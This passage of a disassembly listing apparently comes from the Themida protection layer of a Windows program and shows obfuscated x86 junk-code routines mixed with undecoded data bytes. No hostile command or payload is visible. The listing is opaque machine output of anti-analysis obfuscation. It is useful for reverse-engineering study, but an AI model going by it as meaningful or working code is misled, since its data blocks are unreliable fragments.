		dd 59BF2126h, 0EC815A59h, 4, 0BD242C89h, 35932011h, 511F581h
		dd 0E94D0639h, 0FFFF77BEh
; ---------------------------------------------------------------------------

loc_5621B4:				; CODE XREF: Themida_:00552ADFj
		mov	eax, [esp]
		add	esp, 4
		push	eax
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	[esp+4], edx
		jmp	loc_564792
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0AEh
		dd 81206551h, 1E6407C2h, 2434FF34h, 0E9243C8Bh,	0FFFF51DAh
; ---------------------------------------------------------------------------

loc_5621E4:				; CODE XREF: Themida_:0055B3D1j
		sub	edi, ebx
		sub	edi, 2DA225DEh
		jmp	loc_560BBC
; ---------------------------------------------------------------------------
		db 58h,	66h, 31h
		dd 665A66D0h, 0B70FC331h, 0EF6866C0h, 4896647h,	0F2E1E924h
		dd 0DE30FFFEh, 84EE805Bh, 0E936EE80h, 0FFFFF7F5h, 4EC8352h
		dd 0E9241C89h, 0FFFF5E96h, 295AD389h, 241C8BD8h, 504C483h
		dd 699F2CDCh, 0DC2DF829h, 5699F2Ch, 4F3B4F0Bh, 8B2434FFh
		dd 0C481243Ch, 4, 81E78957h, 4C7h, 4C78100h, 87000000h
		dd 815C243Ch, 8A2B3DC3h, 50C3013Ch, 175ABE56h, 58564E46h
		dd 9CA0D5Eh, 0D8F719CFh, 3664E9h
		db 0
; ---------------------------------------------------------------------------

loc_56227D:				; CODE XREF: Themida_:0055EC8Dj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	edx
		jmp	loc_5557D9
; ---------------------------------------------------------------------------
		dd 0FEBAE953h, 8B5AFFFEh, 0C4832404h, 0BDC38004h, 0EB80C328h
		dd 2EC81BDh, 66000000h,	0E9240489h, 0FFFFC3D8h,	5024148Bh
		dd 405E089h, 0E9000000h, 0FFFFD8BBh
; ---------------------------------------------------------------------------

loc_5622C0:				; CODE XREF: Themida_:005517C0j
		add	esi, ebx
		jmp	loc_564C45
; ---------------------------------------------------------------------------
		db 1
		dd 0A54BE9C7h, 3489FFFFh, 86DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5622D6:				; CODE XREF: Themida_:0055FBB8j
		or	eax, 19987CF7h
		sub	eax, 0E230AF8Ch
		sub	esi, eax
		pop	eax
		add	esi, 85A4E35Dh
		neg	esi
		jmp	loc_5569C2
; ---------------------------------------------------------------------------
		dd 0B8240489h, 4, 4246C81h, 2CE00770h, 0FF5116E9h
		db 0FFh
byte_562305	db 66h,	8Bh, 4		; DATA XREF: Themida_:005513FCo
aShul		db '$Sh·l',0
		dw 8900h
		dd 4832424h, 1C8B0424h,	4C48324h, 0FFD260E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562321:				; CODE XREF: Themida_:0055647Ej
		xor	esi, ebx
		pop	ebx
		add	ecx, esi
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		idiv	cx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5604A5
; ---------------------------------------------------------------------------

loc_562344:				; CODE XREF: Themida_:0055A14Dj
		pop	ebx
		add	eax, 701A568Ch
		sub	eax, ecx
		sub	eax, 701A568Ch
		add	eax, 3ACF1BCFh
		pop	ecx
		jmp	loc_5531BF
; ---------------------------------------------------------------------------
		dd 0DBB7535Bh, 0EFC0CFFEh, 0AAEF8003h, 806AEF80h, 0FA2025C7h
		dd 0F652665Bh, 8B66241Ch, 0C4812414h, 2, 306FEA80h, 2434FFD0h
		dd 4C4815Ah, 52000000h,	45A5E9h, 73A1BE00h, 81467EF0h
		dd 0E9760DC6h, 3E6C117h, 0EE81D6F7h, 0D1533CE6h, 0FF0864E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5623B1:				; CODE XREF: Themida_:00551653j
		mov	bl, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_565CAC
; ---------------------------------------------------------------------------
		db 5Bh,	57h, 89h
		dd 4C781E7h, 0E9000000h, 0FFFFC45Ch, 0A6D36BFh,	65BA5229h
		dd 211D184Ah, 0F6E95AD7h
		db 1Fh,	2 dup(0FFh)
byte_5623E3	db 30h			; DATA XREF: Themida_:00551470o
		dd 24322424h, 24243024h, 21876866h, 24048966h, 815E5456h
		dd 4C6h, 4EE8100h, 0E9000000h, 0FFFFAB5Dh
; ---------------------------------------------------------------------------

loc_562408:				; CODE XREF: Themida_:0055E1D1j
		push	41C8h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 487C04F2h
		mov	ecx, 7B5951B4h
		xor	ecx, ebp
		pop	ebp
		add	ecx, 1A470140h
		dec	ecx
		neg	ecx
		add	ecx, 0A00F5D84h
		jmp	loc_559969
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 0ECD231A0h, 0E95EF201h, 2395h
; ---------------------------------------------------------------------------

loc_562440:				; CODE XREF: Themida_:00556EADj
		xor	ecx, 636A278Eh
		mov	edx, ecx
		pop	ecx
		xor	edx, 0D56CE0DFh
		push	ebp
		mov	ebp, 7FB87D94h
		sub	esi, 466771D9h
		add	esi, ebp
		push	edi
		mov	edi, 466771D9h
		add	esi, 161230D0h
		add	esi, edi
		sub	esi, 161230D0h
		jmp	loc_555136
; ---------------------------------------------------------------------------

loc_562476:				; CODE XREF: Themida_:00553C31j
		add	dword ptr [esp], 4
		jmp	loc_563702
; ---------------------------------------------------------------------------
aWsI		db 'WИ:I',0
		align 4
		dd 8147EFD1h, 0D7410AF7h, 5FF88945h, 0FEF477E9h, 48B54FFh
		dd 4C48124h, 0E9000000h, 0FFFF983Fh, 52C6F181h,	0E9816B58h
		dd 94B8F9BCh, 3159CA31h, 6F71E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5624BE:				; CODE XREF: Themida_:00561E2Bj
		pop	edx
		jmp	loc_5591DC
; ---------------------------------------------------------------------------
		dd 1268CD81h, 0CD8129D1h, 5BFB68CAh, 0B6C5C581h, 0EA01C8B5h
		dd 0CEA815Dh, 29BE14E2h, 0BA525AD1h, 26062E58h,	0D09E981h
		dd 0D1293551h, 0D09C181h, 585A3551h, 4C181h, 39680000h
		dd 8900004Ch, 90E9240Ch, 5CFFFFD0h, 0E9AAB151h,	0FFFFD25Ch
		dd 668515Ah, 8900001Bh,	71E9241Ch, 0BB000033h, 63E0099h
		dd 69E9DD29h, 58000022h, 0D15DEF89h, 40F781E7h,	811D3011h
		dd 0EC17C4EFh, 2F13E949h, 0EC83FFFFh, 0A634E904h, 3C8BFFFFh
		dd 4C48124h, 81000000h,	0EB66EBE9h, 370EE906h, 0EF01FFFFh
		dd 72C7815Dh, 0E9B2CE06h, 3A1h,	8B243487h, 0E9C32424h
		dd 0FFFEEF6Fh, 4EC81h, 14890000h, 81E28924h, 4C2h, 4C28100h
		dd 87000000h, 0E95C2414h, 0FFFFB5CAh, 4BAh, 5AD00100h
		dd 42Dh, 37F0E900h, 34FF0000h, 2434FF24h, 53240C8Bh, 0C381E389h
		dd 4, 8704C383h, 685C241Ch, 5DBh, 89241489h, 2C52E9E2h
		db 2 dup(0)
word_5625D6	dw 34FFh		; DATA XREF: Themida_:00551288o
		dd 0EC835824h, 242C8904h, 4EC81h, 8F540000h, 4812404h
		dd 424h, 0F0E95D00h, 33FFFEF8h,	9CE92404h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5625FF:				; CODE XREF: Themida_:0055B168j
		mov	ecx, 772A3F12h
		or	ebx, ecx
		jmp	loc_5666CA
; ---------------------------------------------------------------------------
		db 89h
		dd 5E68241Ch, 57000020h, 0C781E789h, 4,	4EF81h,	0E1E90000h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562627:				; CODE XREF: Themida_:00551EECj
		add	ebp, 4
		jmp	loc_55FD6D
; ---------------------------------------------------------------------------
aQsi		db ')ОИi)',0
		db 0
; ---------------------------------------------------------------------------

loc_562639:				; CODE XREF: Themida_:005598F3j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_553C17
; ---------------------------------------------------------------------------

loc_562651:				; CODE XREF: Themida_:0055E21Dj
		pop	esp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_55EECA
; ---------------------------------------------------------------------------
		dd 84E9C231h, 80FFFEEEh, 0ED8001EDh, 28B62C34h,	59B604E8h
		dd 0A0E9D828h, 54000028h, 81243C8Bh, 4C4h, 0A7B95100h
		dd 493B2311h, 411EC181h, 0F18123E8h, 5F0B52C0h,	8359CF01h
		dd 0DDE904EFh, 5FFFFFE5h, 4B31BA52h, 0F281393Ah, 7CA87F47h
		dd 0BB53E2D1h, 0
		dd 0E7E9D329h, 0C1FFFFE6h, 0EA8105E2h, 7DE32813h, 0FFE33BE9h
		dd 0BF6657FFh, 81660BC7h, 661D18CFh, 4F8E781h, 0FFEF8366h
		dd 2E7C166h, 66DFF766h,	2E1AC781h, 448A0566h, 66F80166h
		dd 8B448A2Dh, 0C483243Ch, 0BE665604h, 81664B24h, 0E90823CEh
		dd 407Eh
; ---------------------------------------------------------------------------

loc_56270C:				; CODE XREF: Themida_:00560BD8j
		push	eax
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		not	ebx
		jmp	loc_559115
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 0BA520000h, 45F05973h, 0EA81DAF7h, 7B3F6F12h
		dd 3F5AF281h, 0EA815AD1h, 7F4410D9h, 8BCC281h, 0D3011B43h
		dd 4EC835Ah, 52243C89h,	6212F968h, 24148B60h, 81E38953h
		dd 4C3h, 0DDECE900h, 2BEFFFFh, 81000000h, 0C0788C3h, 81F30156h
		dd 0C0788EBh, 59BDE956h, 0E950FFFFh, 0FFFF3B2Dh, 5741E950h
		dd 6CB8FFFFh, 2D1AF010h, 1C36471Bh, 0FFE8FEE9h,	24248BFFh
		dd 22D8E9h
		db 0
; ---------------------------------------------------------------------------

loc_5627A1:				; CODE XREF: Themida_:005596DCj
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_55ACB7
; ---------------------------------------------------------------------------
		dd 2744E95Eh, 0F480FFFFh, 0C0DCF6ABh, 0F48606ECh, 0F486C6FEh
		dd 0E4C0C4FEh, 93EC8008h, 88E58851h, 5859EFh, 1C8B66F8h
		dd 0E6895624h, 4C681h, 0C1E90000h, 8F00003Dh, 248B2404h
		dd 0C8B6624h, 1F896824h, 7E90000h
		db 36h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56280B:				; CODE XREF: Themida_:00557886j
		sub	edi, 51DF7542h
		jmp	loc_55B3CB
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0ECCDE924h, 0CA89FFFEh, 8B5AD589h, 0C481240Ch, 4, 0E907EDC1h
		dd 0FFFF25C3h
; ---------------------------------------------------------------------------

loc_562834:				; CODE XREF: Themida_:00560BCBj
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	1F4Fh
		jmp	loc_551881
; ---------------------------------------------------------------------------

loc_56284D:				; CODE XREF: Themida_:005545D9j
		mov	[esp], ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 1CDCD5FFh
		jmp	loc_559391
; ---------------------------------------------------------------------------
		dd 0C681FE01h, 6C3F2C83h, 0FFC125E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562871:				; CODE XREF: Themida_:0055EB41j
		push	2F8Eh
		mov	[esp], edi
		push	0FFFFFFFFh
		push	dword ptr [esp]
		pop	edi
		push	edi
		push	esp
		jmp	loc_55739A
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0C7h
		dd 5FFFFFA1h, 4EC81h, 0C890000h, 2EA0E924h, 0DD300000h
		dd 0ED39E95Bh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5628A6:				; CODE XREF: Themida_:005635EEj
		shr	edx, 8
		dec	edx
		push	edi
		mov	edi, 621439AAh
		push	edi
		jmp	loc_556520
; ---------------------------------------------------------------------------

loc_5628B6:				; CODE XREF: Themida_:0056624Dj
		mov	ebx, 2
		jmp	loc_56314F
; ---------------------------------------------------------------------------
		dd offset dword_59EE88
		dd 0F0285AF0h, 148B372Ch, 4C48324h, 0FF9E7BE9h,	242489FFh
		dd 4240483h, 5124048Fh,	4B9h, 24448100h, 5D586E04h, 244C012Ah
		dd 6EBD5504h, 0E92A5D58h, 0FFFF1260h, 4EEEE945h, 0EC81FFFFh
		dd 4, 54240C89h, 432EE9h, 8BF90900h, 0C483243Ch, 4EC8304h
		dd 0BA241489h, 799611Bh, 815AD121h, 0E69FE9C1h,	0CF8957F9h
		dd 595FF889h, 34FFC301h, 0C4815824h, 4,	0CEAE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562946:				; CODE XREF: Themida_:00554393j
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 155B6C62h
		sub	ebp, edi
		pop	edi
		and	eax, ebp
		jmp	loc_559F64
; ---------------------------------------------------------------------------
		db 5Ch
		dd 8FC3E954h, 7CE9FFFFh, 81FFFEEBh, 7D6830C1h, 0D8C1813Ch
		dd 8B4DC90Eh, 0C481241Ch, 4, 10E9C181h,	0C101780Eh, 3FA2BE56h
		dd 90E97230h, 31FFFF2Fh, 0F8E95FFDh
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------

loc_56299F:				; CODE XREF: Themida_:0055417Cj
		push	edx
		jmp	loc_55C457
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FF65AAE9h, 49E952FFh, 0F7FFFFA2h, 6CE951D7h, 81000014h
		dd 4ECh, 358FE900h, 0CDFEFFFFh,	0FFBC87E9h, 242C89FFh
		dd 0C83BAFBDh, 0C1E9555Ah, 89FFFFA1h, 2434FFC8h, 52240C8Bh
		dd 0BD55E289h, 4, 835DEA01h, 148704C2h,	0C4835C24h, 4EC8304h
		dd 55240C89h, 0B33D7ABDh, 5D59552Ch, 0FF2E36E9h, 2DF381FFh
		dd 814AB51Ch, 77E00CBh,	0F4F38157h, 17FB7FFh, 34875BDEh
		dd 0D6F75C24h, 0EC83DEF7h, 0C39FE904h, 0E389FFFFh, 4C381h
		dd 0B1680000h, 8900005Dh, 4BF243Ch, 0E9000000h,	0FFFF05F2h
		dd 66B9C381h, 2D68061Fh, 89000035h, 0B0B82404h,	21174C2Ch
		dd 24048BC3h, 4C481h, 51560000h, 331444B9h, 0E9CE896Ch
		dd 0FFFEF3F6h, 44B2C581h, 0CD010026h, 44B2ED81h, 8B590026h
		dd 0C4832404h, 74FF5504h, 8F5D0424h, 0BAE92404h
		db 0F4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_562A9B:				; CODE XREF: Themida_:0055C900j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_55DD8E
; ---------------------------------------------------------------------------
		dd 5C241C87h, 5C24048Fh, 2588E9h, 0EABB5300h, 0C17E5212h
		dd 0E94305E3h, 0FFFFAE90h, 3B7FED81h, 81E903ECh
		db 78h,	2 dup(0FFh)
byte_562AD7	db 0FFh			; DATA XREF: Themida_:0055140Co
		dd 48B2434h, 4C48124h, 81000000h, 4ECh,	243C8900h, 740C68h
		dd 24248900h, 0FF3BE8E9h, 2434FFFFh, 0FFC2EAE9h, 31665CFFh
		dd 63E92404h, 87FFFF61h, 248B242Ch, 38AEE924h, 815BFFFFh
		dd 4C4h, 4E9C100h, 52F18149h, 5004DC14h, 1C33DFB8h, 58C131F9h
		dd 0FF7980E9h, 240C8BFFh, 4C481h, 3E90000h, 0BEFFFEF0h
		dd 4, 348BF701h, 0E3895324h, 4C381h, 0B1E90000h, 51FFFF05h
		dd 0E180D4B1h, 0FCC18058h, 0E97CE180h, 0FFFF5FF9h
; ---------------------------------------------------------------------------

loc_562B6C:				; CODE XREF: Themida_:00556D58j
		sub	ebp, edx
		add	ebp, 6B3B1204h
		pop	edx
		jmp	loc_5515FA
; ---------------------------------------------------------------------------
		dw 4343h
		dd 2D30F381h, 0D9317045h, 0FFBAF9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562B89:				; CODE XREF: Themida_:0055E827j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		jmp	loc_55C323
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 0E9C1D9F7h, 81E98106h, 0E91E1A4Dh, 1953h
dword_562BA8	dd 8124148Bh, 4ECh, 241C8900h, 268E389h, 8900002Ch, 0E2892414h
					; DATA XREF: Themida_:005512F8o
		dd 4C281h, 0EA810000h, 4, 0FFDE5AE9h, 241C89FFh, 0E8685B54h
		dd 0E9000061h, 3B9h, 285468h, 24048900h, 283D6851h, 0C1594B20h
		dd 66E906E9h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562BF7:				; CODE XREF: Themida_:00561CA4j
		add	ecx, ebx
		sub	ecx, 6E9219EBh
		jmp	loc_556307
; ---------------------------------------------------------------------------
		dd 4C581h, 2C330000h, 3310E924h, 489FFFFh, 4EC8124h, 89000000h
		dd 0DEB5240Ch, 0EC003CB4h, 45E95259h, 5FFFFFACh, 0FF7B10E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562C31:				; CODE XREF: Themida_:00565439j
		mov	edi, 153340EFh
		xor	edi, 31BB309Ah
		xor	edi, 24887071h
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55C016
; ---------------------------------------------------------------------------

loc_562C56:				; CODE XREF: Themida_:0055AA4Fj
		mov	eax, 275D6195h
		jmp	loc_5616CE
; ---------------------------------------------------------------------------
		dd offset asc_5BC568	; "ллллллллллллллллллллллллллллллллллллллл"...
		dd 24148900h, 4EC81h, 34890000h, 7105BE24h, 25E9420Ah
		dd 31FFFF47h, 14332414h, 24248B24h, 4EC81h, 34890000h
		dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 4EC815Ch
		dd 0E9000000h, 0FFFF0AB8h, 1AA6C281h, 0D2F729F3h, 8232E956h
		dd 0E958FFFFh, 1E33h, 0C105E7C1h, 0E0E906EFh, 5EFFFFA0h
		dd 48E91188h, 5DFFFFBBh, 5AA468h, 24148900h, 1EFAE9h
		db 0
; ---------------------------------------------------------------------------

loc_562CDD:				; CODE XREF: Themida_:00552A97j
		sub	ecx, edi
		pop	edi
		add	eax, ecx
		jmp	loc_554DE3
; ---------------------------------------------------------------------------
byte_562CE7	db 66h			; DATA XREF: Themida_:0055133Co
		dd 68240C8Bh, 34AEh, 54241C89h,	12FAE95Bh, 0EC810000h
		dd 4, 0FFA773E9h, 240C8BFFh, 781E9h
		db 0
; ---------------------------------------------------------------------------

loc_562D0D:				; CODE XREF: Themida_:0055D25Aj
		push	258D2CE4h
		pop	eax
		sub	eax, 488D19BCh
		add	eax, 1286667Eh
		sub	eax, 770F63F3h
		mov	edi, eax
		pop	eax
		or	edi, 248B497Ah
		add	edi, 7EF70DE8h
		jmp	loc_55C78C
; ---------------------------------------------------------------------------
		dw 0BEB9h
		dd 2D0E1A01h, 44A3609h,	0BE56C801h, 44A3609h, 348BF001h
		dd 4C48324h, 0FEF01AE9h, 0C18159FFh, 4,	8704C183h, 835C240Ch
		dd 0D7E904ECh
		db 0Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562D6B:				; CODE XREF: Themida_:0056028Cj
		neg	ecx
		and	ecx, 32A25A2Eh
		add	ecx, 664918B7h
		xor	ecx, 22391353h
		xor	edi, ecx
		jmp	loc_553DF5
; ---------------------------------------------------------------------------

loc_562D86:				; CODE XREF: Themida_:0055FE0Fj
		sub	eax, 3718377Ah
		sub	eax, edi
		add	eax, 3718377Ah
		jmp	loc_557622
; ---------------------------------------------------------------------------
		db 1
		dd 1AC281FAh, 0E9200F4Bh, 0FFFFAE71h
; ---------------------------------------------------------------------------

loc_562DA4:				; CODE XREF: Themida_:005620F4j
		add	eax, edi
		pop	edi
		jmp	loc_55D5AD
; ---------------------------------------------------------------------------

loc_562DAC:				; CODE XREF: Themida_:005668F2j
		xchg	edx, ebp
		dec	edx
		xchg	edx, ebp
		xor	ebp, 118A4675h
		or	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 8765ED1h
		and	ecx, ebp
		jmp	loc_55DBF6
; ---------------------------------------------------------------------------
		db 31h
		dd 1C33241Ch, 24248B24h, 2C181h, 0E7680000h, 89000029h
		dd 74FF240Ch, 34FF0424h, 0C4835924h, 24048F04h,	0E924248Bh
		dd 0FFFEF11Ah, 468h, 54015A00h,	8B5A0424h, 0C483242Ch
		dd 0E3AEE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562E0A:				; CODE XREF: Themida_:00557524j
		pop	edi
		neg	edi
		xor	edi, 788A52F3h
		add	edi, 58B540ADh
		mov	edx, edi
		pop	edi
		jmp	loc_55DD88
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 4BBh, 5BDA0100h, 0D8668h, 24148900h,	42474FFh, 24048F5Ah
		dd 2608E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562E42:				; CODE XREF: Themida_:0055AB05j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_554B06
; ---------------------------------------------------------------------------
		dw 8966h
		dd 94E9240Ch
		db 0E6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_562E57:				; CODE XREF: Themida_:00558168j
		mov	esi, 21116CB2h
		push	ebp
		mov	ebp, 6B416F40h
		inc	ebp
		sub	ebp, 47B60552h
		push	esi
		mov	esi, 5CC72E7Ch
		shr	esi, 3
		sub	esi, 7349313Ah
		xor	esi, 24AE736Fh
		not	esi
		sub	esi, 0C65FC5F1h
		xor	ebp, esi
		pop	esi
		xor	esi, ebp
		jmp	loc_55E65B
; ---------------------------------------------------------------------------

loc_562E90:				; CODE XREF: Themida_:0055EE1Bj
		sub	ebx, ebp
		jmp	loc_551793
; ---------------------------------------------------------------------------
		db 57h
		dd 661701BFh, 5FFD290Bh, 3A9E9h
		db 0
; ---------------------------------------------------------------------------

loc_562EA5:				; CODE XREF: Themida_:0055E0BFj
		mov	edi, 78553640h
		jmp	loc_5619F3
; ---------------------------------------------------------------------------

loc_562EAF:				; CODE XREF: Themida_:0055C877j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_5520E5
; ---------------------------------------------------------------------------
		db 1, 0C7h, 0E9h
		dd 0FFFFE9E9h, 35BE565Fh, 813B3072h, 792BDFE6h,	5EDE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562EDE:				; CODE XREF: Themida_:00558D2Bj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55DE02
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 0EDh
		dd 81FFFFC7h, 2E5FA3EDh, 0E9EE89AAh, 0FFFF53AEh
; ---------------------------------------------------------------------------

locret_562F14:				; CODE XREF: Themida_:005633AAj
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0D1h, 0E5h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_562F1A:				; CODE XREF: Themida_:0055674Fj
		sub	edx, esi
		pop	esi
		xor	edx, 626CD9B9h
		jmp	loc_55C40E
; ---------------------------------------------------------------------------
aYrvW		db 'YRV╬╦W',0
		db 13h
		dd 348BF289h, 4C48124h,	0E9000000h, 0FFFEE830h,	5ACBB850h
		dd 0C3017094h, 0FF7C9DE9h, 52E089FFh, 4BAh, 5AD00100h
		dd 2C06E9h, 81E68900h, 4C6h, 4EE8300h, 0E9243487h, 0FFFFAC6Bh
		dd 3FE9CB89h, 66FFFF1Ch, 66240489h, 0E901B151h,	0FFFFD237h
		dd 0FEE562E9h, 7CE952FFh
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562F8F:				; CODE XREF: Themida_:0055D8C4j
		mov	edx, esi
		mov	esi, [esp]
		jmp	loc_563C96
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 4BB53h, 0D9890000h, 0FEF097E9h
		db 0FFh
byte_562FA9	db 0ADh, 53h, 56h	; DATA XREF: Themida_:00551348o
		dd 9E518BBEh, 81D6F703h, 0D90927F6h, 2EEC115h, 243FEE81h
		dd 0D6F734E7h, 310DBB53h, 0BFE96F4Bh
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_562FCF:				; CODE XREF: Themida_:00552C59j
		push	ebx
		add	dword ptr [esp], 2432E34h
		pop	edx
		sub	edx, 2432E34h
		pop	ebx
		push	edx
		xor	dword ptr [esp], 4E466E8Eh
		jmp	loc_55C3BD
; ---------------------------------------------------------------------------
		dd 4240483h, 83240C8Bh,	75E904C4h, 97FFFF0Bh, 3EFC147h
		dd 5E4EEF81h, 0F88910DDh, 0FF3752E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56300D:				; CODE XREF: Themida_:0055E967j
		push	5698h
		mov	[esp], eax
		push	edi
		jmp	loc_551658
; ---------------------------------------------------------------------------
		db 31h
		dd 5D04246Ch, 0FFBB96E9h, 5BDD01FFh, 5C242C87h,	4EA81h
		dd 14330000h, 0DAAE924h, 5659FFFFh, 4BEh, 5EF00100h, 5C240487h
		dd 317CEA81h, 0C2812040h, 181B0745h, 1E9DE281h,	0EA812A49h
		dd 808087Ch, 15AD789h, 1C335FFBh, 241C3124h, 0FF12BEE9h
		dd 24148BFFh, 904C483h,	48B1C47h, 78E95124h, 0FFFFFEEFh
		dd 58042474h, 5C24048Fh, 240CFF66h, 4272E99Ch, 0EC81FFFFh
		dd 4, 0BD242C89h, 20636610h, 5105E5C1h,	0BB38F5B9h, 0D1BA5241h
		dd 42212A2Dh, 4A72B850h, 0C2314B02h, 81D2F758h,	0F11A6AEAh
		dd 0FFE98134h, 0E90ECF56h, 0FFFF15BAh, 585DEA89h, 8E9FA01h
		dd 89FFFF52h, 4C581E5h,	53000000h, 4BBh, 0FF37E900h, 17B5FFFFh
		dd 0FFF7A9E9h, 196768FFh, 1C890000h, 68E38924h,	54A5h
		dd 0FEE6BCE9h, 24348BFFh, 0FF1F33E9h, 242C89FFh, 0EC81E589h
		dd 4, 81240489h, 4ECh, 2EAFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56312A:				; CODE XREF: Themida_:005575B0j
		pop	ecx
		jmp	loc_55C448
; ---------------------------------------------------------------------------
		dd 4C481h, 2D660000h, 2D66668Dh, 56609D2h, 26E94028h, 56000007h
		dd 7CE95E54h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56314F:				; CODE XREF: Themida_:005628BBj
		mov	eax, ebx
		pop	ebx
		sub	ecx, eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5518D8
; ---------------------------------------------------------------------------
byte_56315F	db 66h			; DATA XREF: Themida_:00551358o
		dd 68240C8Bh, 7441h, 89241C89h,	7EB1E9E3h, 0C481FFFFh
		dd 4, 3D45E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56317E:				; CODE XREF: Themida_:00565977j
		pop	edi
		mov	ebx, ecx
		pop	ecx
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 41E42878h
		add	eax, ebx
		sub	eax, 41E42878h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	312Fh
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_55AA4B
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 13DCE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5631C2:				; CODE XREF: Themida_:00555337j
		add	esp, 4
		push	4252h
		mov	[esp], esi
		push	edx
		mov	edx, 40C80373h
		shr	edx, 3
		xor	edx, 2FD06214h
		xor	edx, 373A5031h
		mov	esi, edx
		pop	edx
		xor	esi, 615A23E8h
		jmp	loc_552953
; ---------------------------------------------------------------------------
		dd 5D3D8B05h, 2DF80106h, 65D3D8Bh, 0FF5169E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563201:				; CODE XREF: Themida_:0055B6EAj
		pop	esp
		push	ebp
		push	ecx
		mov	ecx, 3CAB36ADh
		mov	ebp, 52F81EC2h
		xor	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_56397F
; ---------------------------------------------------------------------------
		dd 5B9DEB81h, 0EB815C6Fh, 62736554h, 0E95BDA29h, 0B1Eh
		dd 0E904EFC0h, 0FFFEF363h, 3D45BB05h, 7468556Ch, 0E9000060h
		dd 3AFh
dword_563244	dd 245668h, 207FE900h, 0ED81FFFFh, 0E80DE7E6h, 279BD55h
					; DATA XREF: Themida_:00551350o
		dd 0DDF715CDh, 0EDD14D4Dh, 3E7EBE56h, 0E6C13D30h, 0F4EE8103h
		dd 31BE347Eh, 0EB015EF5h, 0AB52E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56327A:				; CODE XREF: Themida_:0055C57Aj
		mov	ebp, 371759A4h
